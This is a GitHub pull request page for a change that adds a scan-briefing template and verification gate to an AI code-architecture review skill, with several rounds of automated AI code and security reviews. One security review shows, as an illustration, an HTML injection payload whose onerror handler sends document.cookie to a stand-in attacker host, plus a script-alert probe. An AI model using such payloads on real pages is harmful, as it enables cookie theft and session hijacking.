Skip to content

feat(architecture): scan-briefing template + verification gate (deepening F2/F3/F4) - #1162

Merged
kyle-sexton merged 4 commits into
mainfrom
feat/1157-architecture-scan-briefing
Jul 23, 2026
Merged

kyle-sexton merged 4 commits into
mainfrom
feat/1157-architecture-scan-briefing

Conversation

@kyle-sexton

Copy link
Copy Markdown
Member

Closes #1157

Summary

Three coupled gaps in the deepening lens's scan→report path, all from the SW2030 consumer audit of [email protected]. F3's briefing template is the natural carrier for F2's verify instruction and F4's heuristics, so they land as one coherent change (architecture 0.3.6 → 0.4.0, pure-ADD).

  • F3 — canonical scan-subagent briefing. New research/deepening/scan-briefing.md: vocabulary primer, friction checklist, dependency categories, both badge-acceptance heuristics, and a per-candidate return schema (with shallow-signal and runtime-claim fields). Phase 1 now briefs every scan agent from it, the same way interface-design.md briefs the Design-It-Twice agents — so scan quality no longer varies run-to-run.
  • F2 — verification gate. New Phase 1.5 between scan and report: reproduce every Strong-badge candidate's shallow-signal, and check every runtime-bug / dead-code claim against the actual code, before the user-facing HTML report lends them its authority. The worked failure the audit caught: a scan reporting a service "registered but never composed" that a single grep refuted (the service is consumed, via a different consumer, with tests).
  • F4 — heuristics at scan time. Confidence is now calibrated against the two acceptance heuristics in the briefing (scan time), and Phase 2 opens with an explicit re-badge against them plus the Phase 1.5 result.

The durable candidate artifact gains a shallow-signal field so the verified evidence survives the planning handoff.

Test plan

Related

Refs #1156 (merged — the F1 predecessor this was serialized behind), #1158 (F5/F6, blocked on this).

🤖 Generated with Claude Code

…ning F2/F3/F4)

Three coupled gaps in the deepening lens's scan->report path, from the
SW2030 consumer audit of 0.3.5:

- F3: no canonical scan-subagent briefing. New
  research/deepening/scan-briefing.md — vocabulary primer, friction
  checklist, dependency categories, both badge-acceptance heuristics, and
  a per-candidate return schema (with shallow-signal + runtime-claim
  fields). Phase 1 now briefs every scan agent from it.
- F2: no verification between scan and report. New Phase 1.5 gate
  reproduces every Strong-badge candidate's shallow-signal and every
  runtime-bug/dead-code claim against the actual code before the
  user-facing report lends them its authority. Worked failure the audit
  caught: a "registered but never composed" claim a single grep refuted.
- F4: badge heuristics arrived too late. Confidence is now calibrated
  against the two acceptance heuristics at scan time (in the briefing),
  and Phase 2 opens with an explicit re-badge against them plus the
  Phase 1.5 result.

The durable candidate artifact gains a shallow-signal field so the
verified evidence survives the planning handoff. Pure-ADD: existing phase
contracts and vocabulary discipline unchanged. architecture 0.4.0.

Closes #1157

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
@claude

claude Bot commented Jul 23, 2026 •

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 59s —— View job


PR Review — feat(architecture): scan-briefing template + verification gate

  • Load tools
  • Read changed files
  • Review plugin.json and CHANGELOG.md
  • Review scan-briefing.md (new file)
  • Review deepening.md (modified)
  • Post consolidated findings

Overall: The structural idea is sound — briefing every scan agent from a canonical template, gating the report on reproduced evidence, and applying heuristics at scan time are all good discipline. Two correctness issues need attention before the gate logic reliably works.


🔴 Important — Intro count in scan-briefing.md doesn't match the document

scan-briefing.md L8:

"Each briefing has four parts: vocabulary primer, friction checklist, dependency categories, and the per-candidate return schema."

The document actually has five numbered sections — §4 (Badge-acceptance heuristics) is absent from this enumeration. An agent told to "assemble a briefing with four parts" and given a five-section template will see §4 as uncounted/supplementary content and may omit it entirely. That's the section this PR exists to inject at scan time (F4). The fix the PR is delivering can be silently skipped by a model following the intro literally.

Fix this →


🔴 Important — Phase 1.5 gate condition references a field that doesn't exist yet at that point

deepening.md L28:

"Every candidate that will carry a Strong badge — reproduce its shallow-signal"

At Phase 1.5 time, only the scan-time confidence field exists (values: strong | worth-exploring | speculative). The recommendation badge (Strong | Worth exploring | Speculative) is determined in Phase 2. The mapping from scan confidence: strong → "will carry Strong badge" is logically correct but never stated — an agent at Phase 1.5 looking for a recommendation: Strong field in the scan output won't find one, and may either gate on the wrong set of candidates or skip the check entirely.

Additionally, the value styles diverge across the two schemas:

  • Scan output: worth-exploring (lowercase, hyphenated)
  • Artifact recommendation: Worth exploring (Title Case, space-separated)

No explicit mapping is provided anywhere. Recommend wording the Phase 1.5 gate as "every candidate whose scan returned confidence: strong" to make the gate concrete against the actual field in scope at that point.

Fix this →


🟡 Nit — deepening and shallow-signal in the durable artifact describe the same thing at different precision levels

deepening.md L62–63:

- deepening: <one sentence — the shallow-module friction signal, not an interface proposal>
- shallow-signal: <the concrete observation reproduced in Phase 1.5 — the verified evidence for shallowness, not a bare assertion>

Both fields describe shallowness. The distinction (Phase 1 narrative vs. Phase 1.5-verified concrete observation) is valid, but the line descriptions are close enough that agents filling the artifact may treat them as redundant and duplicate one into the other — which would defeat the verification layer's purpose. Consider adding a brief example or contrast phrase to one of them, e.g. deepening: <narrative — e.g. "wraps a single method with no added behavior"> vs. shallow-signal: <verified — e.g. "three one-method wrappers each forwarding their argument unmodified (confirmed by grep)">.


No issues found with:

  • Version bump (0.3.6 → 0.4.0): correct for a pure-ADD change
  • Relative link ../research/deepening/scan-briefing.md from actions/deepening.md: resolves correctly (sibling research/deepening/ directory exists)
  • CHANGELOG format: consistent with prior entries (no dates used across the file)
  • runtime-claim optionality: correctly specified as omit-if-absent
  • Phase 1.5 "worked failure" example: concrete and useful for anchoring the gate

@claude

claude Bot commented Jul 23, 2026 •

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 19s —— View job


Security Review

  • Gather context and understand request
  • Read PR diff and changed files
  • Analyze for security vulnerabilities
  • Report findings

Scope

Four files changed: plugin.json (semver bump), CHANGELOG.md (documentation), deepening.md (skill instructions), and new scan-briefing.md (subagent briefing template). All changes are markdown-based AI skill instructions — no executable code, no workflow files, no new dependencies.


Findings

SUGGESTION — Unescaped code-derived content in HTML report (pre-existing gap, new field participates)

Confidence: Medium

The Phase 2 HTML report is rendered from candidate data that originates in the scanned codebase. The deepening.md Phase 2 instructions tell Claude to write candidate cards including files, problem, deepening, and now the new shallow-signal field — but nowhere in the skill instructions is Claude told to HTML-encode this data before embedding it in the report.

The new shallow-signal field (added in scan-briefing.md §5 and deepening.md line 63) explicitly carries code-derived observations from the consumer's codebase — e.g., function names, call patterns, identifier strings — into both the durable artifact and the HTML report. This field is the concrete path by which adversarial content in the scanned codebase reaches the report:

scan-briefing.md L62–64:

- shallow-signal: <the concrete observation — the evidence for shallowness, e.g. "three one-method
  wrappers each forwarding their argument"; this is what Phase 1.5 reproduces>

A file in the scanned codebase whose name or a comment contains something like <img src=x onerror="fetch('https://attacker.example/'+document.cookie)"> could be reflected into the HTML report without escaping. When opened locally in a Chromium-based browser, script execution from file:// URLs is permitted by default, and local file reads via fetch/XHR are possible depending on browser configuration.

The attack scenario requires an attacker to control a file path or code comment in the scanned codebase (e.g., a malicious transitive npm/NuGet dependency), which is realistic in supply-chain attack scenarios.

The HTML escaping gap predates this PR — files, problem, and deepening fields were already in the report without explicit encoding instructions. This PR's shallow-signal field increases the surface by one more code-derived field with a concrete, literal-string character (function patterns, identifier names), but does not newly create the risk category.

What a fix looks like: Add a note to the Phase 2 HTML report instructions (e.g., in deepening.md around line 37–41) explicitly instructing Claude to HTML-encode any code-derived strings — file paths, shallow-signal text, runtime-claim text — before embedding them in the HTML. Something like: "HTML-encode all code-derived strings (file paths, signal text, claim text) with &amp;, &lt;, &gt;, &quot; substitutions before placing them in HTML attributes or text content." This is a one-line addition to the existing report scaffold instructions.

Fix this →


No other findings

  • No dangerous GitHub Actions patterns — no workflow files changed, no pull_request_target/workflow_run patterns, no ${{ github.* }} interpolation in run: blocks.
  • No credential or secret exposure — no tokens, API keys, or secrets introduced.
  • No command injection surface — the mktemp usage instruction (pre-existing) is sound; no new shell command construction from user-controlled data.
  • No path traversal — the ../ relative links in the markdown are documentation references resolved by the plugin system within the plugin boundary; no new ../ escapes introduced.
  • No supply-chain risk — plugin.json version bump adds no new dependencies.
  • No permission escalation — no settings or config permission changes.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 77816004f6

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

…ld (PR #1162 review)

Two Important review findings on the scan-briefing change:

- scan-briefing.md intro declared "four parts" but the template has five
  sections; the omitted one is §4 badge-acceptance heuristics — exactly
  the scan-time calibration this change exists to inject (F4). A caller
  following the stated count could send a briefing without it. Now "five
  parts", heuristics enumerated. (claude review #1 + Codex P2)
- Phase 1.5 gated on candidates that "will carry a Strong badge" and their
  shallow-signal, but at Phase 1.5 only the scan-time confidence field
  exists (strong|worth-exploring|speculative) — the recommendation badge
  is assigned in Phase 2. Gate now keys on `confidence: strong`, and
  Phase 2 states the confidence->badge mapping explicitly, resolving the
  field-name and case-style mismatch. (claude review #2)

Also sharpened the durable artifact's deepening vs shallow-signal field
descriptions with contrasting examples so they aren't filled redundantly
(claude review nit).

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
@claude

claude Bot commented Jul 23, 2026 •

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 1m 17s —— View job


Re-review after fix commit fe07dfd

  • Load tools
  • Read changed files at HEAD (fe07dfd)
  • Verify fix for 🔴 part-count (four → five)
  • Verify fix for 🔴 Phase 1.5 gate field (confidence: strong)
  • Check 🟡 nit and security suggestion status
  • Post consolidated findings

Both prior red issues are correctly resolved. Ready to merge.

✅ Fix 1 — Briefing part-count

scan-briefing.md L8–9:

"Each briefing has five parts: vocabulary primer, friction checklist, dependency categories, badge-acceptance heuristics, and the per-candidate return schema."

All five sections are now enumerated and the count matches the document. The F4 heuristic section can no longer be silently treated as supplementary.

✅ Fix 2 — Phase 1.5 gate field

deepening.md L26–28:

"The scan output carries a confidence field (strong / worth-exploring / speculative) but no badge yet — the recommendation badge is assigned in Phase 2. Gate on the scan field that exists here. … Every candidate the scan returned with confidence: strong"

The added framing sentence does exactly the right thing: it names which field exists at Phase 1.5, explains that recommendation isn't assigned yet, and then the gate clause uses confidence: strong — the actual field in scope. No ambiguity remains.

✅ Nit from prior review — also addressed

deepening.md L62–63:

- deepening: <one sentence, narrative — … e.g. "three modules wrap a single call each, adding no behavior">
- shallow-signal: <the concrete, verified observation … e.g. "OrderHandler/OrderValidator/OrderRepo each forward their one argument unmodified (confirmed by reading all three)">

The inline examples are distinct enough (generic narrative vs. named-identifier evidence with confirmed-by qualifier) that an agent filling the artifact can't reasonably conflate the two. The verification layer's purpose is preserved.

⚪ Security suggestion — pre-existing, not addressed (acceptable)

The HTML-encoding gap for code-derived strings in the Phase 2 report was flagged as a suggestion by the security review and predates this PR. Not addressed here — this is fine for a pure-ADD change focused on F2/F3/F4. Worth a follow-up issue if the threat model for the HTML report warrants it.


No new issues found. The two correctness fixes are clean, the nit was resolved as a bonus, and the overall structure (briefing → verify → re-badge) is coherent across the three files.

@claude

claude Bot commented Jul 23, 2026 •

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 13s —— View job


Security Review — feat(architecture): scan-briefing template + verification gate

  • Load tools
  • Read PR diff and changed files
  • Analyze for security vulnerabilities
  • Report findings

Scope

Four files changed: plugin.json (semver bump), CHANGELOG.md (documentation), deepening.md (modified skill instructions), and new scan-briefing.md (subagent briefing template). The latest commit (fe07dfd) applied the two correctness fixes from the prior code review (part-count in scan-briefing.md line 8, gate-field name in deepening.md line 28) — both confirmed correct in the current file state. All changes are markdown-based AI skill instructions: no executable code, no workflow files, no new dependencies.


Findings

SUGGESTION — Unescaped code-derived content in HTML report (pre-existing gap; shallow-signal is the most concrete new injection path)

Confidence: Medium

The Phase 2 HTML report embeds data that originates from reading the scanned codebase. The new shallow-signal field — added in scan-briefing.md §5 and deepening.md line 63 — explicitly carries literal code observations (function names, file paths, identifier strings, call patterns) from the scanned repo into both the durable candidate artifact and the HTML report. The Phase 2 instructions tell Claude to write candidate cards that include files, problem, deepening, and now shallow-signal, but nowhere in the skill instructions is Claude told to HTML-encode this data before embedding it in the report.

Relevant locations:

  • scan-briefing.md L62–64 — shallow-signal is described as "the concrete observation — the evidence for shallowness, e.g. three one-method wrappers each forwarding their argument"
  • deepening.md L41 — Phase 2 builds candidate cards including files and other code-derived strings with no encoding instruction
  • deepening.md L63 — shallow-signal is included in the durable artifact and, by extension, the card content

A file in the scanned codebase whose name or a code comment contains <script>alert(1)</script> or <img src=x onerror="..."> could be reflected into the HTML report unescaped. The report is explicitly instructed to be opened in the user's default browser (xdg-open, open, start) from a local file:// path. From a file:// URL, Chromium-based browsers permit JavaScript execution and some local-file access depending on browser configuration.

The attack surface requires an adversary to control file paths or code comments in the scanned repository (e.g., a supply-chain compromised dependency), which is a realistic threat in the plugin's intended use case (scanning unfamiliar codebases). This gap predates this PR — files, problem, and deepening were already unencoded. shallow-signal adds one more code-derived field with a concrete, literal-string character, but does not introduce a new risk category.

The HTML encoding gap from the prior security review job run remains unaddressed in the current commit.

What a fix looks like: Add an explicit instruction to the Phase 2 HTML scaffold (around deepening.md line 37–41) that all code-derived strings — file paths, shallow-signal text, runtime-claim text, problem text — must be HTML-entity-encoded (&amp;, &lt;, &gt;, &quot;, ') before embedding in HTML attributes or text nodes.

Fix this →


No other findings

  • Correctness fixes applied: Both issues from the prior code review are confirmed fixed in the current commit — scan-briefing.md line 8 now reads "five parts" and deepening.md line 28 now gates on confidence: strong (the actual scan-output field).
  • No dangerous GitHub Actions patterns — no workflow files changed.
  • No credential or secret exposure — no tokens, API keys, or secrets introduced.
  • No command injection — mktemp usage (pre-existing) is sound; no new shell command construction from user-controlled data.
  • No path traversal — new ../ relative links are plugin-internal documentation references, resolved within the plugin boundary.
  • No supply-chain risk — plugin.json version bump adds no new dependencies.
  • No permission escalation — no settings, config, or workflow permission changes.
  • No indirect prompt-injection gate — Phase 1.5 verification reads code-derived shallow-signal strings as verification targets; this is the inherent risk class of any AI code-analysis tool and no specific hardening mechanism is feasible to recommend here beyond the general trust-but-verify posture already expressed in the briefing.

@kyle-sexton

Copy link
Copy Markdown
Member Author

Review + security findings classified (fix commit fe07dfd5):

Finding Source Classification Disposition
Briefing intro says "four parts" but template has five sections; §4 badge heuristics omitted from the count claude[bot] review 🔴 Important #1 (also Codex inline P2) VALID Fixed — intro now "five parts", badge-acceptance heuristics enumerated. This was the exact section F4 exists to inject at scan time
Phase 1.5 gates on "Strong badge" / shallow-signal, but only scan-time confidence exists at that point; worth-exploring vs Worth exploring case divergence unmapped claude[bot] review 🔴 Important #2 VALID Fixed — gate now keys on confidence: strong; Phase 2 states the confidence → recommendation mapping explicitly, resolving both the field-name and case-style mismatch
deepening and shallow-signal artifact fields overlap; agents may duplicate claude[bot] review 🟡 nit VALID (minor) Fixed — both field descriptions now carry contrasting examples (narrative vs verified-concrete)
HTML report doesn't instruct escaping code-derived strings; new shallow-signal field adds an XSS path claude[bot] security SUGGESTION (medium) INCORRECT research/deepening/html-report.md:5 already mandates: "Escape all codebase-derived text before writing the report … any other string taken from the scanned repository must be HTML-escaped (&, <, >, ", ') … Never paste attacker-controlled markup verbatim." That instruction is unconditional and covers shallow-signal (a scanned-repository string) with no new field-specific rule needed. Phase 2 links to that file for the report scaffold. The review read deepening.md + scan-briefing.md but not html-report.md, where the escaping contract lives

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: fe07dfd546

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

…l-verified flag (PR #1162 round 2)

Two Codex P2 findings on the verification design:

- Phase 1.5 only reproduced the original `confidence: strong` set, but
  Phase 2 re-badging can promote a lower-confidence candidate to `Strong`
  (confidence is an input, not the final badge) — that promoted candidate
  reached the report with a Strong badge but an unreproduced signal,
  defeating the guarantee. Re-badge now applies the Phase 1.5 reproduction
  to any candidate promoted into Strong before it carries the badge.
- The durable artifact described every `shallow-signal` as "verified,
  reproduced in Phase 1.5", but only Strong + runtime-claim candidates
  pass the gate — so the planning handoff asserted verification that did
  not occur for surviving worth-exploring/speculative candidates. The
  field description is now honest about which signals are reproduced, and
  a new `signal-verified` boolean records per-candidate status so a
  consumer never reads an unverified signal as verified.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
@claude

claude Bot commented Jul 23, 2026 •

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 1m 35s —— View job


Re-review after fix commit 74761ce


Both Codex P2 issues are correctly resolved. Ready to merge.

✅ Fix 1 — Strong-promotion verify gap

deepening.md L35:

"Promotion closes the same gate: if re-badging lifts a candidate the scan rated below strong up to Strong, apply the Phase 1.5 reproduction to its shallow-signal before it carries the badge — a Strong claim reaches the report reproduced no matter which way the badge was reached, so the Phase 1.5 guarantee holds across both the original strong set and any promotions."

The fix is complete and unambiguous. The sentence explicitly names the field to reproduce, the timing constraint ("before it carries the badge"), and states the invariant in terms that make the bidirectional guarantee clear. A model following this cannot award a Strong badge to a promoted candidate without first reproducing its signal.

✅ Fix 2 — Unverified signals labeled as verified

deepening.md L63–64:

- shallow-signal: <the concrete observation — evidence, not narrative; e.g. "OrderHandler/...
  ...". Reproduced in Phase 1.5 for every `Strong` candidate and every runtime-claim; for a
  candidate left below `Strong` with no runtime-claim it is the scan's as-reported signal, not
  yet reproduced>
- signal-verified: <true once Phase 1.5 reproduced this candidate's shallow-signal (all `Strong`
  candidates, all runtime-claims); false for a candidate that never passed the gate — so the
  planning handoff never reads an unverified signal as verified>

Two-part fix: (1) the shallow-signal description is now honest about what "as-reported" means for sub-Strong candidates, and (2) the new signal-verified boolean makes verification state explicit and machine-readable at the planning handoff. A false there is a recoverable, labeled gap — not a silently-inflated claim of confidence.

⚪ Security suggestion — pre-existing, not addressed (acceptable, now confirmed moot)

The HTML-encoding suggestion from the security review was already addressed by html-report.md:5, which mandates HTML-escaping all codebase-derived strings unconditionally. kyle-sexton's classification was correct; the PR does not need to add a redundant instruction in deepening.md.


No new issues found. The three rounds of review (initial → fix commit → re-review → Codex P2 findings → this commit) have closed all identified gaps. The overall structure — briefing → scan → verify → re-badge (with closed promotion loop) → honest artifact → report — is coherent across all three files.

@claude

claude Bot commented Jul 23, 2026 •

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 30s —— View job


Security Review — Round 3 (HEAD 74761ce)

  • Load tools
  • Read PR diff at HEAD
  • Read changed files (deepening.md, scan-briefing.md, html-report.md)
  • Analyze for security vulnerabilities
  • Post findings

Scope

Four files changed: plugin.json (semver bump), CHANGELOG.md (documentation), deepening.md (modified skill instructions), and new scan-briefing.md (subagent briefing template). HEAD 74761ce added two things over fe07dfd: the promotion-closes-the-gate clause in Phase 2, and the signal-verified boolean in the durable candidate artifact schema. All changes are markdown-based AI skill instructions — no executable code, no workflow files, no new dependencies.


HTML escaping concern from Rounds 1 and 2 — confirmed false positive

html-report.md L5:

Escape all codebase-derived text before writing the report. Paths, glossary terms, ADR excerpts, repo names, module labels, and any other string taken from the scanned repository must be HTML-escaped (&, <, >, ", ') before embedding in element text or attributes. Never paste attacker-controlled markup verbatim into the HTML file.

Kyle Sexton's Round 2 classification is correct. The mandate is unconditional, explicitly covers any string from the scanned repository (which includes shallow-signal, runtime-claim, and all other new fields), and predates this PR. The Rounds 1 and 2 security reviews didn't read html-report.md — the finding was a false positive.


Promotion gate (new in 74761ce) — security improvement, no new surface

deepening.md L35:

Promotion closes the same gate: if re-badging lifts a candidate the scan rated below strong up to Strong, apply the Phase 1.5 reproduction to its shallow-signal before it carries the badge — a Strong claim reaches the report reproduced no matter which way the badge was reached.

This closes the Codex P2 gap (a worth-exploring candidate promoted to Strong would have skipped Phase 1.5 before this commit). No new attack surface introduced — this is a gate tightening.


signal-verified field in durable artifact — honest flag, no new risk

deepening.md L64:

signal-verified: <true once Phase 1.5 reproduced this candidate's shallow-signal … false for a candidate that never passed the gate — so the planning handoff never reads an unverified signal as verified>

The field distinguishes verified from unverified in the durable artifact consumed by a planning step. A downstream agent reading signal-verified: false gets an honest low-trust signal rather than the previous implicit claim that all shallow-signal entries were verified. The prior description (before this commit) labelled everything as "the concrete, verified observation reproduced in Phase 1.5" — which would have misrepresented speculative candidates' signals as verified. This is a fix.

The pre-existing indirect prompt-injection risk class (codebase content reaching subagent reasoning context via shallow-signal / runtime-claim) is unchanged in character by the new field — the risk was already acknowledged in Round 2, and no specific hardening is feasible beyond the verify posture already expressed in Phase 1.5.


No security findings

No CRITICAL, IMPORTANT, or SUGGESTION-level findings introduced by this PR. Changes are clean:

  • No dangerous GitHub Actions patterns — no workflow files changed
  • No credential or secret exposure
  • No command injection — mktemp usage (pre-existing) is sound; no new shell construction from controlled data
  • No path traversal — ../ relative links are plugin-internal documentation references
  • No supply-chain risk — plugin.json version bump adds no new dependencies
  • No permission escalation — no settings, config, or workflow changes
  • HTML escaping mandate confirmed present and unconditional in html-report.md:5 (pre-existing, covers all new fields)

@kyle-sexton

Copy link
Copy Markdown
Member Author

Round-2 findings classified (fix commit 74761ce0):

Finding Source Classification Disposition
Re-badge can promote a below-strong candidate to Strong, skipping Phase 1.5 reproduction Codex P2 (inline) VALID Fixed — re-badge now runs the Phase 1.5 reproduction on any candidate promoted into Strong before it carries the badge; the guarantee holds across both the original strong set and promotions
Artifact labels every shallow-signal "verified in Phase 1.5", but only Strong + runtime-claim candidates pass the gate Codex P2 (inline) VALID Fixed — shallow-signal description made honest (reproduced for Strong/runtime-claims, else the scan's as-reported signal); new signal-verified boolean records per-candidate status so the handoff never reads an unverified signal as verified
HTML-encoding of code-derived strings in the Phase 2 report claude[bot] security (re-raised) INCORRECT (unchanged from round 1) The escaping contract lives in research/deepening/html-report.md:5 — "Escape all codebase-derived text … any other string taken from the scanned repository must be HTML-escaped (&, <, >, ", ') … Never paste attacker-controlled markup verbatim" — an unconditional rule that already covers shallow-signal (a scanned-repo string). Phase 2 links to that file for the report scaffold. The security job reads only the 4 changed files, not the unchanged html-report.md where the rule lives, so it re-reports a gap that does not exist. Restating the rule in deepening.md would duplicate the single-source instruction

claude[bot] code re-review (5060980230) verdict: ready to merge — both round-1 Important issues and the nit confirmed fixed.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 74761ce070

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

… runtime-claim (PR #1162 round 3)

Codex P2: signal-verified was defined true for all runtime-claim
candidates, but Phase 1.5 reproduces a runtime-claim candidate's *claim*,
not its shallow-signal. A worth-exploring/speculative candidate with a
valid runtime-claim would therefore have its shallowness observation
marked verified when it was never reproduced. signal-verified now tracks
the shallow-signal specifically (true = the Strong set, whose signal IS
the reproduction target); a runtime-claim candidate left below Strong
keeps signal-verified false.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
@claude

claude Bot commented Jul 23, 2026 •

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 1m 40s —— View job


Re-review after fix commit b39e49c

  • Load tools
  • Read changed files at HEAD (b39e49c)
  • Verify fix for Codex P3 — signal-verified tracks shallow-signal, not runtime-claim
  • Post consolidated findings

The Codex P3 finding is correctly resolved. Ready to merge.

✅ Fix — signal-verified tracks the shallow-signal, not the runtime-claim

deepening.md L63–64:

- shallow-signal: <...>. Reproduced in Phase 1.5 for every `Strong` candidate; a runtime-claim
  candidate has its *claim* reproduced, not this signal, so unless it is also `Strong` the signal
  here is the scan's as-reported observation, not yet reproduced>
- signal-verified: <true only once Phase 1.5 reproduced *this signal* — i.e. every `Strong`
  candidate. A runtime-claim reproduction verifies the claim, not the shallow-signal, so a
  runtime-claim candidate left below `Strong` keeps `signal-verified: false`. This keeps the
  planning handoff from ever reading an unverified shallowness observation as verified>

The before/after is clean:

Field Before After
shallow-signal claimed reproduced for "every Strong candidate and every runtime-claim" correctly scopes reproduction to Strong candidates only; names what is reproduced for runtime-claim candidates (the claim, not this signal)
signal-verified true for "all Strong candidates, all runtime-claims" true only for Strong candidates; explicitly notes that a runtime-claim reproduction leaves signal-verified: false unless the candidate is also Strong

The distinction matters at the planning handoff: a worth-exploring candidate with a confirmed runtime-claim (claim reproduced → bug is real) now correctly carries signal-verified: false, so a downstream planning agent reading the artifact knows the shallowness observation itself is the scan's as-reported view, not independently confirmed. That's honest.

The fix is also consistent with the promotion gate from 74761ce (Phase 2 re-badge applies the same Phase 1.5 reproduction before assigning Strong), so "every Strong candidate" in the updated description correctly covers both paths — original-Strong and promoted-to-Strong.

No new issues found

All four rounds of review have now closed:

Round Finding Commit
1 Briefing intro says "four parts" but template has five; F4 badge heuristics omitted fe07dfd
1 Phase 1.5 gates on wrong field (Strong badge vs confidence: strong) fe07dfd
P2 Promoted candidates skip Phase 1.5 reproduction 74761ce
P2 Artifact labels all shallow-signal entries as verified 74761ce
P3 Runtime-claim reproduction marks signal-verified: true for the shallow-signal it never reproduced b39e49c

The overall chain — briefing → scan (with calibrated confidence) → Phase 1.5 (gate on Strong and runtime-claims) → re-badge (promotion closes the gate) → honest artifact (signal-verified tracks the shallow-signal specifically) → report — is coherent and self-consistent across all three files.

@claude

claude Bot commented Jul 23, 2026 •

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 1m 46s —— View job


Security Review — Round 4 (HEAD b39e49c)

  • Load tools
  • Get PR diff at HEAD
  • Read changed files (deepening.md, scan-briefing.md, html-report.md, plugin.json)
  • Analyze for security vulnerabilities
  • Post findings

Scope

Four files changed: plugin.json (semver bump), CHANGELOG.md (documentation), deepening.md (modified skill instructions), and new scan-briefing.md (subagent briefing template). HEAD b39e49c adds one thing over 74761ce: a corrected signal-verified flag definition that restricts "true" to Strong candidates only, removing runtime-claim candidates from the verified set. All changes are markdown-based AI skill instructions — no executable code, no workflow files, no new dependencies.


signal-verified flag correction — security-positive change

deepening.md L64:

signal-verified: <true only once Phase 1.5 reproduced *this signal* — i.e. every Strong candidate. A runtime-claim reproduction verifies the claim, not the shallow-signal, so a runtime-claim candidate left below Strong keeps signal-verified: false. This keeps the planning handoff from ever reading an unverified shallowness observation as verified>

Prior to this commit, signal-verified was described as true for all runtime-claim candidates regardless of whether their shallow-signal was reproduced — a trust-inflation vector where a planning step consuming the artifact would read an unverified shallowness observation as verified. The fix closes this: signal-verified now tracks the shallow-signal specifically, and a runtime-claim candidate left below Strong carries false. This is a security-positive correction, not a new risk.

Also confirmed: the scan-briefing.md §5 return schema (what scan subagents are instructed to return) does not include signal-verified — the field is filled only by the orchestrating Phase 1.5/2 step. Scan subagents cannot falsely assert their own verification status.


HTML escaping — confirmed false positive (unchanged from Round 3)

html-report.md L5:

Escape all codebase-derived text before writing the report. Paths, glossary terms, ADR excerpts, repo names, module labels, and any other string taken from the scanned repository must be HTML-escaped (&, <, >, ", ') before embedding in element text or attributes. Never paste attacker-controlled markup verbatim into the HTML file.

The unconditional escaping mandate predates this PR and explicitly covers shallow-signal and runtime-claim (both are strings taken from the scanned repository). The Rounds 1–3 SUGGESTION finding was a false positive: the rule exists in the correct place (the HTML report scaffold spec), not in deepening.md where the Rounds 1–3 reviews looked for it.


No security findings

No CRITICAL, IMPORTANT, or SUGGESTION-level findings introduced by this PR. The full surface at HEAD:

  • No dangerous GitHub Actions patterns — no workflow files changed
  • No credential or secret exposure — no tokens, API keys, or secrets introduced
  • No command injection — mktemp usage (pre-existing, line 37) is sound; no new shell command construction from user-controlled data
  • No path traversal — ../ relative links are plugin-internal documentation references resolved within the plugin boundary; no new escapes
  • No supply-chain risk — plugin.json version bump adds no new dependencies
  • No permission escalation — no settings, config, or workflow changes
  • HTML escaping mandate confirmed present — html-report.md:5 is unconditional and covers all code-derived fields including shallow-signal, runtime-claim, and the new signal-verified field (which, being a boolean, carries no injection surface anyway)
  • signal-verified trust-inflation gap closed — the fix in b39e49c is security-positive; the field can no longer misrepresent unverified shallowness observations as verified at the planning handoff
  • Indirect prompt injection via scan output — inherent risk class for any AI codebase-analysis tool; unchanged in character from the prior design; no new fields widen the surface beyond what was already acknowledged in Round 2

@kyle-sexton
kyle-sexton merged commit 63c1c37 into main Jul 23, 2026
1 check passed
@kyle-sexton
kyle-sexton deleted the feat/1157-architecture-scan-briefing branch July 23, 2026 16:57
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

architecture: canonical scan-briefing template carrying verification stage and badge heuristics (deepening F2/F3/F4)

1 participant